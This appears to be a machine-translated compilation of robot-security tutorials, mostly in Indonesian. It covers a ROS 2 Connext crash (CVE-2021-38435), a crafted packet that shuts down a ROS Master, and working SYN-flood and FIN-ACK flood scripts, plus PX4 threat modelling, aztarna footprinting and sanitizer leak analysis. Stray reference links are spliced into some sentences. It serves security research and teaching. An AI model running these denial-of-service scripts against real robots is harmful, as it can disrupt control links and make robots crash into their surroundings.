Singkatnya, serializer Connext di RTI Connext memunculkan kesalahan saat mencerna paket ini, yang menyebabkan Node ROS 2 yang bersangkutan langsung keluar, yang menyebabkan penolakan layanan. Selain itu, tergantung pada komputasi Node, hal ini juga dapat menyebabkan masalah keamanan karena komunikasi langsung terputus. Cacat tersebut memengaruhi penerbit dan pelanggan, dan penyerang dapat secara selektif merusak Node tertentu yang dapat membahayakan grafik komputasi robot untuk mencapai tujuan jahat di luar DoS .
Yang menarik dari kelemahan ini adalahini menunjukkan betapa mudahnya mengkompromikan grafik komputasi yang dibangun dengan solusi DDS terbaik di dunia😓(lihat tangkapan layar dari situs RTI Connext di bawah, kata-kata mereka):
Situs web RTI Connext mengklaim sebagai yang “terbaik di dunia” dalam menghubungkan sistem cerdas dan terdistribusi.
Situs web RTI Connext mengklaim sebagai yang “terbaik di dunia” dalam menghubungkan sistem cerdas dan terdistribusi.
The following clip depicts how the flaw is exploited in a simulated TurtleBot 3 robot. Note how the teleoperation Node is first launched and stopped, demonstrating how the corresponding topics’ velocity values are set to zero after the Node finishes. This avoids the robot to move in an undesired manner. If instead of stopping the teleoperation Node manually, we crash it using CVE-2021-38435, we can observe how the last velocities are kept infinitely, leading to robot to crash into the wall.
Demonstrasi CVE-2021-38435 dalam simulasi TurtleBot 3
Demonstration of CVE-2021-38435 in a simulated TurtleBot 3
Crashing a simple ROS 2 Node with RTI’s Connext DDS
Here’s a simpler PoC that launches a ROS 2 publisher which is then crashed by also exploiting CVE-2021-38435:
CVE-2021-38435: Peretasan Node ROS 2 Connext RTI
# split 1
docker run -it hacking_tb3:foxy -c "/bin/bash"
RMW_IMPLEMENTATION=rmw_connext_cpp ros2 run demo_nodes_cpp talker
# split 2
sudo python3 exploits/crash_connext.py 2> /dev/null
Credit
Part of this research is the result of a cooperation among various security researchers across groups as reported in this advisory. The following individuals took part on it (alphabetical order):
Chizuru Toyama
Erik Boasson
Federico Maggi
Mars Cheng
Patrick Kuo
Ta-Lun Yen
Víctor Mayoral-Vilches
Robot Operating System (ROS 1)
The Robot Operating System (ROS) is the de facto standard for robot application development (Quigley, Gerkey, et al. 2009). It’s a framework for creating robot behaviors that comprises various stacks and capabilities for message passing, perception, navigation, manipulation or security, among others. It’s estimated that by 2024, 55% of the total commercial robots will be shipping at least one ROS package. ROS is to roboticists what Linux is to computer scientists.
This case study will analyze the security of ROS and demonstrate a few security flaws that made the community jump into a more robust evolution: ROS 2Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
(see case study on ROS 2)
Dissecting ROS network interactions through scapy
TCPROS is a transport layer for ROS Messages and Services. It uses standard TCP/IP sockets for transporting message data. Inbound connections are received via a TCP Server Socket with a header containing message data type and routing information. This class focuses on capturing the ROS Slave API.
Until it gets merged upstream (see TCPROS PR), you can get the TCPROS dissector as follows:
pip3 install git+https://github.com/vmayoral/scapy@tcpros
An example package is presented below:
from scapy.contrib.tcpros import *
bind_layers(TCP, TCPROS)
bind_layers(HTTPRequest, XMLRPC)
bind_layers(HTTPResponse, XMLRPC)
pkt = b"POST /RPC2 HTTP/1.1\r\nAccept-Encoding: gzip\r\nContent-Length: " \
b"227\r\nContent-Type: text/xml\r\nHost: 12.0.0.2:11311\r\nUser-Agent:" \
b"xmlrpclib.py/1.0.1 (by www.pythonware.com)\r\n\r\n<?xml version=" \
b"'1.0'?>\n<methodCall>\n<methodName>shutdown</methodName>\n<params>" \
b"\n<param>\n<value><string>/rosparam-92418</string></value>\n" \
b"</param>\n<param>\n<value><string>BOOM</string></value>" \
b"\n</param>\n</params>\n</methodCall>\n"
p = TCPROS(pkt)
or alternatively, crafting it layer by layer:
p = (
IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
/ TCP(
sport=20001,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"227",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.1",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"shutdown",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>BOOM</string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
)
)
This package will invoke the shutdown method of ROS 2 Master, shutting it down, together with all its associated Nodes.
Let’s take a look at other potential attacks against ROS.
SYN-ACK DoS flooding attack for ROS
A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:
the client sends a TCP SYN (S flag) packet to begin a connection with a given end-point (e.g. a server).
the server responds with a SYN-ACK packet, particularly with a TCP SYN-ACK (SA flag) packet.
the client responds back with an ACK (flag) packet. In normal operation, the client should send an ACK packet followed by the data to be transferred, or a RST reply to reset the connection. On the target server, the connection is kept open, in a SYN_RECV state, as the ACK packet may have been lost due to network problems.
In the attack, to abuse this handshake process, an attacker can send a SYN Flood, a flood of SYN packets, and do nothing when the server responds with a SYN-ACK packet. The server politely waits for the other end to respond with an ACK packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.
A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:
print("Capturing network traffic...")
packages = sniff(iface="eth0", filter="tcp", count=20)
targets = {}
for p in packages[TCPROSBody]:
# Filter by ip
# if p[IP].src == "12.0.0.2":
port = p.sport
ip = p[IP].src
if ip in targets.keys():
targets[ip].append(port)
else:
targets[ip] = [port]
# Get unique values:
for t in targets.keys():
targets[t] = list(set(targets[t]))
# Select one of the targets
dst_target = list(map(itemgetter(0), targets.items()))[0]
dport_target = targets[dst_target]
# Small fix to meet scapy syntax on "dport" key
# if single value, can't go as a list
if len(dport_target) < 2:
dport_target = dport_target[0]
p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"SYN Flood DoS"
ls(p)
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)
In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine’s networking stack isn’t properly configured. To defend against this attack, a user would need to set up their kernel’s network stack appropriately. In particular, they’d need to ensure that TCP SYN cookies are enabled. SYN cookies work by not using the SYN queue at all. Instead, the kernel simply replies to the SYN with a SYN-ACK, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the ACK packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a SY cookie and allow the connection, even though there is no corresponding SYN in the queue.
FIN-ACK flood attack targeting ROS
The previous SYN-ACK DoS flooding attack did not affect hardened control stations because it is blocked by SYN cookies at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).
Setelah menguji berbagai serangan terhadap jaringan ROS-Industrial termasuk ACK and PUSH ACKflooding, ACK Fragmentationflooding atau Spoofed Sessionflooding di antara yang lain, dengan mengambil peran sebagai penyerang, saya mengembangkan bukti konsep gangguan yang valid menggunakan FIN-ACKserangan tersebut. Secara kasar, segera setelah TCP-SYNsesi tiga atau empat arah yang berhasil dibuat, FIN-ACKserangan tersebut mengirimkan FINpaket untuk menutup TCP-SYNsesi antara host dan mesin klien. Mengingat TCP-SYNsesi yang dibuat oleh ROSTCP antara dua entitas di mana satu mengandalkan informasi robot ke yang lain (menjalankan master ROS) untuk koordinasi, FIN-ACKserangan flood mengirimkan sejumlah besar FINpaket palsu yang tidak termasuk dalam sesi apa pun di server target. Serangan tersebut memiliki dua konsekuensi: pertama, ia mencoba menghabiskan sumber daya penerima – RAM, CPU, dll. saat target mencoba memproses permintaan yang tidak valid ini. Kedua, komunikasi terus-menerus diselesaikan oleh penyerang yang menyebabkan pesan ROS hilang dalam proses tersebut, yang menyebabkan potensi hilangnya data yang relevan atau penurunan signifikan dari tingkat penerimaan yang dapat memengaruhi kinerja algoritma robotik tertentu.
Skrip berikut menampilkan bukti konsep sederhana yang dikembangkan dan dikonfigurasi untuk memvalidasi serangan dalam skenario terisolasi yang disederhanakan.
def tcpros_fin_ack():
"""
crafting a FIN ACK interrupting publisher's comms
"""
flag_valid = True
targetp = None
targetp_ack = None
# fetch 10 tcp packages
while flag_valid:
packages = sniff(iface="eth0", filter="tcp", count=4)
if len(packages[TCPROSBody]) < 1:
continue
else:
# find first TCPROSBody and pick a target
targetp = packages[TCPROSBody][-1] # pick latest instance
index = packages.index(packages[TCPROSBody][-1])
for i in range(index + 1, len(packages)):
targetp_ack = packages[i]
# check if the ack matches appropriately
if targetp[IP].src == targetp_ack[IP].dst and \
targetp[IP].dst == targetp_ack[IP].src and \
targetp[TCP].sport == targetp_ack[TCP].dport and \
targetp[TCP].dport == targetp_ack[TCP].sport and \
targetp[TCP].ack == targetp_ack[TCP].seq:
flag_valid = False
break
if not flag_valid and targetp_ack and targetp:
# Option 2
p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
/TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
ack=targetp_ack[TCP].seq)
ans = sr1(p_attack, retry=0, timeout=1)
if ans and len(ans) > 0 and ans[TCP].flags == "FA":
p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
/TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
ack=ans[TCP].seq + 1)
send(p_ack)
while True:
tcpros_fin_ack()
Gambar berikut menunjukkan hasil FIN-ACKserangan pada mesin yang menjadi target. Gambar menunjukkan pengurangan signifikan pada tingkat penerimaan dan turun hingga lebih dari setengah (4,940 Hz) dari 10 Hz transmisi yang ditetapkan. Informasi yang dikirim dari penerbit terdiri dari bilangan bulat berulang, namun data yang diterima pada target yang diserang menunjukkan lonjakan bilangan bulat yang signifikan, yang mengonfirmasi kehilangan paket. Serangan yang lebih rumit dapat dikembangkan menggunakan pendekatan yang peka waktu. Pendekatan yang peka waktu dapat menghasilkan serangan yang lebih rumit.
Pilot otomatis PX4
Autopilot PX4 adalah autopilot penerbangan sumber terbuka untuk pengembang drone. Diiklankan sebagai
perangkat lunak kontrol penerbangan sumber terbuka untuk drone dan kendaraan tak berawak lainnya. Proyek ini menyediakan seperangkat alat yang fleksibel bagi pengembang drone untuk berbagi teknologi guna menciptakan solusi yang disesuaikan untuk aplikasi drone. PX4 menyediakan standar untuk memberikan dukungan perangkat keras dan perangkat lunak drone, yang memungkinkan ekosistem untuk membangun dan memelihara perangkat keras dan perangkat lunak dengan cara yang dapat diskalakan.
PX4 merupakan bagian dari Dronecode, sebuah organisasi nirlaba yang dikelola oleh Linux Foundation untuk mendorong penggunaan perangkat lunak sumber terbuka pada kendaraan terbang. Dronecode juga menjadi host QGroundControl, MAVLink & SDK.
Alternatif untuk PX4 termasuk Ardupilot (APM) dan Paparazzi .
Memahami lanskap ancaman
Mari kita mulai dengan melakukan latihan pemodelan ancaman sederhana pada autopilot untuk memahami lanskap ancamannya:
Komponen perangkat lunak dan perangkat keras autopilot PX4
Komponen perangkat lunak dan perangkat keras autopilot PX4
Perhatikan bahwa ada berbagai bus komunikasi dan protokol yang digambarkan. Yang paling penting: - uORB: uORB adalah API pengiriman pesan asynchronous yang dikelola dalam proyek PX4 dan digunakan untuk komunikasi intra-proses/antar-proses. Digambarkan dengan panah gelap, sebagian besar komponen perangkat lunak autopilotPada saat penulisan.
sangat bergantung pada uORBinteraksi. uORBdirancang agar ringan Perhatikan bagaimana uORBinteraksi dibatasi pada komponen perangkat lunak internal dan bagaimana ia tidak secara langsung terpapar ke antarmuka eksternal apa pun karena kurangnya keamanannya . Meskipun uORBmiddleware komunikasi tidak secara langsung terpapar, jika penyerang menggunakan salah satu antarmuka yang terekspos (misalnya melalui komunikasi periferal yang tidak aman) dan memperoleh hak istimewa untuk mengeksekusi kode dalam komponen perangkat lunak terkait, mengkompromikan arsitektur internal melalui uORB akan menjadi hal yang mudah. - MAVLink : MAVLink adalah protokol pengiriman pesan yang sangat ringan untuk berkomunikasi dengan drone (dan antara komponen drone onboard) yang umumnya berinteraksi dengan UART atau UDP . Awalnya dirancang tanpa keamanan dan kemudian ditinjau untuk menambahkan beberapa kemampuan keamanan (MAVLink 2), MAVLink digunakan secara luas antara GCS dan drone, dan antara autopilot drone dan periferal drone yang mendukung MAVLink (misalnya kamera). Kurangnya pendekatan yang berpusat pada keamanan sejak konsepsinya telah menyebabkan berbagai kerentanan keamanan yang dilaporkan yang memungkinkan penyerang untuk mengkompromikan interaksi intra dan inter-droneManual elektronik resmi TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
. - Micro-XRCE dan DDS : Melakukan perjalanan melalui UDPBagian khusus ROS 2 dalam e-manual TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/
, middleware komunikasi DDS adalah alternatif yang disajikan oleh PX4 untuk MAVLink. DDS menyediakan kapabilitas keamanan tertentu (lihat studi kasus sebelumnya) namun aspek-aspek ini tidak diterjemahkan ke titik akhir DDS yang dibatasi sumber daya. Dalam kasus sumber daya yang sedikit, OMG membuat spesifikasi DDS yang berbeda yang disebut DDS-XRCE yang merupakan singkatan dari eXtremely Resource Constrained Environments. Micro-XRCE adalah salah satu implementasi DDS-XRCE. Mekanisme keamanan DDS yang dikompromikan (dibahas dalam studi kasus sebelumnya) dan mekanisme keamanan DDS-XRCE yang kurang menghadirkan titik masuk sederhana yang dapat dimanfaatkan oleh penyerang.
Menggambarkan semua ini lagi sambil menggambar titik masuk dan beberapa batasan untuk mengidentifikasi zona kepercayaan ( batasan kepercayaan ) mengarah pada hal berikut:
Komponen perangkat lunak dan perangkat keras autopilot PX4
Komponen perangkat lunak dan perangkat keras autopilot PX4
Analisis statis autopilot PX4
Lihat Status keamanan siber PX4 — PX4 Developer Summit Virtual 2020 untuk mempelajari lebih lanjut tentang hasil saat menganalisis PX4 secara statis.
Drone simulasi untuk tujuan penelitian keamanan
Cara terbaik untuk melakukan riset keamanan PX4 adalah dengan membuat simulasi drone menggunakan PX4 SITL dan Gazebo untuk simulasi drone dan lingkungan. Tautan berikut menangkap esensi cara melakukannya: - Simulasi PX4 - dasar-dasar - Kontainer Docker PX4 - pengembang (lihat px4-dev-rostag, dan yang serupa) - Kontainer Docker PX4 - pengguna - Contoh untuk menyiapkan lingkungan: - Simulasi Multi-Kendaraan dengan Gazebo - Contoh Kontrol Offboard ROS 2 - (menunjukkan interaksi RTPS, dll.)
Pengintaian
Jejak Sistem ROS
Footprinting (juga dikenal sebagai pengintaian ) adalah teknik yang digunakan untuk mengumpulkan informasi tentang sistem digital dan entitas yang menjadi anggotanya. Untuk mendapatkan informasi ini, seorang analis keamanan dapat menggunakan berbagai alat dan teknologi. Informasi ini sangat berguna saat melakukan serangkaian serangan terhadap sistem tertentu.
ROS merupakan standar de facto untuk pengembangan aplikasi robot. Tutorial ini akan menunjukkan cara melokalisasi sistem ROS dan memperoleh informasi tambahan tentang sistem tersebut menggunakan aztarnaalat keamanan. aztarnaberarti "jejak kaki" dalam bahasa Basque .
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity_footprinting1:latest .
dan dijalankan dengan:
docker run --privileged -it basic_cybersecurity_footprinting1:latest
Dasar-dasar jejak ROS
Hal pertama yang kami lakukan untuk menguji kemampuannya aztarnaadalah mendapatkan kontainer dengan dependensi yang tepat dan alat yang terpasang:
```bash
# from this directory:
docker build -t basic_cybersecurity_footprinting1:latest .
...
```
Mari luncurkan instance ROS di port default dan lihat bagaimana cara aztarnamendeteksinya:
```bash
docker run --privileged -it basic_cybersecurity_footprinting1:latest
root@3c22d4bbf4e1:/# roscore -p 11311 &
root@3c22d4bbf4e1:/# roscore -p 11317 &
root@3c22d4bbf4e1:/# aztarna -t ROS -p 11311 -a 127.0.0.1
[+] ROS Host found at 127.0.0.1:11311
root@3c22d4bbf4e1:/# aztarna -t ROS -p 11311-11320 -a 127.0.0.1
root@432b0c5f61cc:~/aztarna# aztarna -t ROS -p 11311-11320 -a 127.0.0.1
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11315 ssl:None [Connection refused]
Not a ROS host
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11312 ssl:None [Connection refused]
Not a ROS host
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11316 ssl:None [Connection refused]
Not a ROS host
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11313 ssl:None [Connection refused]
Not a ROS host
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11314 ssl:None [Connection refused]
Not a ROS host
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11318 ssl:None [Connection refused]
Not a ROS host
[-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11319 ssl:None [Connection refused]
Not a ROS host
[+] ROS Host found at 127.0.0.1:11317
[+] ROS Host found at 127.0.0.1:11311
```
Meluncurkan dan memindai cukup cepat:
```bash
root@3c22d4bbf4e1:/# time aztarna -t ROS -p 11311-11320 -a 127.0.0.1
...
real 0m0.687s
user 0m0.620s
sys 0m0.040s
```
Informasi lebih lanjut tentang Host ROS tertentu dapat diperoleh dengan -etanda:
```bash
root@aa6b6d7f9bd3:/# aztarna -t ROS -p 11311 -a 127.0.0.1 -e
[+] ROS Host found at 127.0.0.1:11311
Node: /rosout XMLRPCUri: http://aa6b6d7f9bd3:39719
Published topics:
* /rosout_agg(Type: rosgraph_msgs/Log)
Subscribed topics:
* /rosout(Type: rosgraph_msgs/Log)
Services:
* /rosout/set_logger_level
* /rosout/get_loggers
CommunicationROS 0:
- Publishers:
- Topic: /rosout(Type: rosgraph_msgs/Log)
- Subscribers:
/rosout XMLRPCUri: http://aa6b6d7f9bd3:39719
CommunicationROS 1:
- Publishers:
/rosout XMLRPCUri: http://aa6b6d7f9bd3:39719
- Topic: /rosout_agg(Type: rosgraph_msgs/Log)
- Subscribers:
```
Memeriksa semua instance ROS di sebuah mesin
Cara sederhana untuk memeriksa ROS dalam mesin tertentu adalah dengan menggabungkan aztarnaalat tersebut dengan utilitas bash umum lainnya:
```bash
root@bc6af321d62e:/# nmap -p 1-65535 127.0.0.1 | grep open | awk '{print $1}' | sed "s*/tcp**" | sed "s/^/aztarna -t ROS -p /" | sed "s/$/ -a 127.0.0.1/" | bash
[+] ROS Host found at 127.0.0.1:11311
[+] ROS Host found at 127.0.0.1:11317
[-] Error connecting to host 127.0.0.1:38069 -> Unknown error
Not a ROS host
[-] Error connecting to host 127.0.0.1:38793 -> Unknown error
Not a ROS host
[-] Error connecting to host 127.0.0.1:45665 -> <type 'exceptions.Exception'>:method "getSystemState" is not supported
Not a ROS host
[-] Error connecting to host 127.0.0.1:46499 -> <type 'exceptions.Exception'>:method "getSystemState" is not supported
Not a ROS host
[ERROR] [1543085503.685199009]: a header of over a gigabyte was predicted in tcpros. that seems highly unlikely, so I'll assume protocol synchronization is lost.
[-] Error connecting to host 127.0.0.1:55905 -> None
Not a ROS host
[ERROR] [1543085504.415197656]: a header of over a gigabyte was predicted in tcpros. that seems highly unlikely, so I'll assume protocol synchronization is lost.
[-] Error connecting to host 127.0.0.1:59939 -> None
Not a ROS host
```
Sumber daya
[1] aztarna. Diperoleh dari https://github.com/aliasrobotics/aztarna.
[2] Docker ROS. Diperoleh dari https://hub.docker.com/_/ros/.
Jejak Sistem ROS yang Aman
Melanjutkan tutorial sebelumnya, dalam tutorial ini kami akan menganalisis pengaturan ROS aman menggunakan paket SROS.
Catatan : seperti pada tutorial sebelumnya, ada kontainer docker yang memudahkan reproduksi karya tutorial ini. Kontainer dapat dibangun dengan:
docker build -t basic_cybersecurity_footprinting2:latest .
dan dijalankan dengan:
docker run --privileged -it basic_cybersecurity_footprinting2:latest
Memahami SROS
Menurut [5], SROS memiliki tiga tingkatan konsep: tingkatan Keamanan Transportasi, tingkatan Kontrol Akses, dan tingkatan Profil Proses. Tingkatan dan konsep ini dirangkum di bawah ini dan bagian selanjutnya akan membahas masing-masing tingkatan ini secara lebih rinci.
[4] memberikan intuisi tambahan tentang masing-masing level ini.
Jejak sistem SROS
# Launching Keyserver
sroskeyserver &
# Launching the secure ROS Master
sroscore &
# Launch aztarna with the right options
aztarna -t SROS -a 127.0.0.1
Connecting to 127.0.0.1:11311
[+] SROS host found!!!
Sumber daya
[1] aztarna. Diperoleh dari https://github.com/aliasrobotics/aztarna.
[2] Docker ROS. Diperoleh dari https://hub.docker.com/_/ros/.
[3] Dokumentasi SROS. Diperoleh dari http://wiki.ros.org/SROS.
[4] Tutorial SROS. Diperoleh dari http://wiki.ros.org/SROS/Tutorials
[4] Konsep SROS. Diperoleh dari http://wiki.ros.org/SROS/Concepts
Kerentanan robot
Robot pembersih di ROS 2 Dashing
Sanitizer adalah alat pencarian bug yang dinamis[1]. Dalam tutorial ini, kami akan menggunakan beberapa sanitizer umum dan sumber terbuka pada basis kode ROS 2. Secara khusus, dengan mereproduksi hasil yang tersedia sebelumnya[2,3], kami akan meninjau status keamanan ROS 2 Dashing Diademata.
Beberapa bagian pertama menyediakan panduan untuk mencoba menjalankan berbagai hal di OS X. Bagian-bagian berikutnya mengotomatiskan proses melalui kontainer Docker.
Sistem Operasi OS X
Pengaturan di OS X, secara asli
Buruh pelabuhan
docker build -t basic_cybersecurity_vulnerabilities1:latest .
docker run --privileged -it -v /tmp/log:/opt/ros2_asan_ws/log basic_cybersecurity_vulnerabilities1:latest /bin/bash
dan sekarang jalankan pengujiannya:
colcon test --build-base=build-asan --install-base=install-asan \
--event-handlers sanitizer_report+ --packages-up-to test_communication
hasilnya ada di bawah /tmp/log.
Menganalisis hasil
Menganalisis contoh
Saya akan mencoba menganalisis contoh yang disediakan di https://github.com/colcon/colcon-sanitizer-reports/blob/master/README.rst sebelum beralih ke contoh baru untuk mendapatkan pemahaman tambahan:
Tampaknya ASan mendeteksi kebocoran memori dalam rcpputilsmodul:
grep -R '==.*==ERROR: .*Sanitizer' -A 3
[..]
--
rcpputils/stdout_stderr.log:1: ==32481==ERROR: LeakSanitizer: detected memory leaks
rcpputils/stdout_stderr.log-1:
rcpputils/stdout_stderr.log-1: Direct leak of 4 byte(s) in 1 object(s) allocated from:
rcpputils/stdout_stderr.log-1: #0 0x7f7d99dac458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
Khususnya, kebocoran tersebut tampak sebagai berikut:
Direct leak of 4 byte(s) in 1 object(s) allocated from:
#0 0x7fbefcd0b458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
#1 0x5620b4c650a9 in FakeGuarded::FakeGuarded() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x190a9)
#2 0x5620b4c63444 in **test_tsa_shared_capability_Test**::TestBody() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x17444)
#3 0x5620b4cdc4fd in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x904fd)
#4 0x5620b4cce1e7 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x821e7)
#5 0x5620b4c79f0f in testing::Test::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2df0f)
#6 0x5620b4c7b33a in testing::TestInfo::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2f33a)
#7 0x5620b4c7bede in testing::TestCase::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2fede)
#8 0x5620b4c96fef in testing::internal::UnitTestImpl::RunAllTests() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x4afef)
#9 0x5620b4cdefb0 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x92fb0)
#10 0x5620b4cd04b0 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x844b0)
#11 0x5620b4c93d83 in testing::UnitTest::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x47d83)
#12 0x5620b4c672d2 in RUN_ALL_TESTS() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b2d2)
#13 0x5620b4c67218 in main (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b218)
#14 0x7fbefc09bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Direct leak of 4 byte(s) in 1 object(s) allocated from:
#0 0x7fbefcd0b458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
#1 0x5620b4c650a9 in FakeGuarded::FakeGuarded() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x190a9)
#2 0x5620b4c62d4b in **test_tsa_capability_Test**::TestBody() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x16d4b)
#3 0x5620b4cdc4fd in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x904fd)
#4 0x5620b4cce1e7 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x821e7)
#5 0x5620b4c79f0f in testing::Test::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2df0f)
#6 0x5620b4c7b33a in testing::TestInfo::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2f33a)
#7 0x5620b4c7bede in testing::TestCase::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x2fede)
#8 0x5620b4c96fef in testing::internal::UnitTestImpl::RunAllTests() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x4afef)
#9 0x5620b4cdefb0 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x92fb0)
#10 0x5620b4cd04b0 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x844b0)
#11 0x5620b4c93d83 in testing::UnitTest::Run() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x47d83)
#12 0x5620b4c672d2 in RUN_ALL_TESTS() (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b2d2)
#13 0x5620b4c67218 in main (/home/ANT.AMAZON.COM/tmoulard/ros2_ws/build-asan/rcpputils/test_basic+0x1b218)
#14 0x7fbefc09bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Saat memeriksa dump, tampaknya ada masalah test_basicterkait dengan FakeGuarded::FakeGuarded(). Secara khusus, baris ini tidak diperlukan dan malah diganti dengan destruktor.
Memproses bug baru
Sekarang mari kita menganalisis bug baru dan mencoba menalarnya. Mari kita ambil bug pertama sanitizer_report.csvyang dihasilkan dan dari sana, item pertama (dibuang di sanitizer_report_ros2dashing_asan.csv ):
rcl,detected memory leaks,__default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56,2,
"#0 0x7f1475ca7d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f14753f34d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
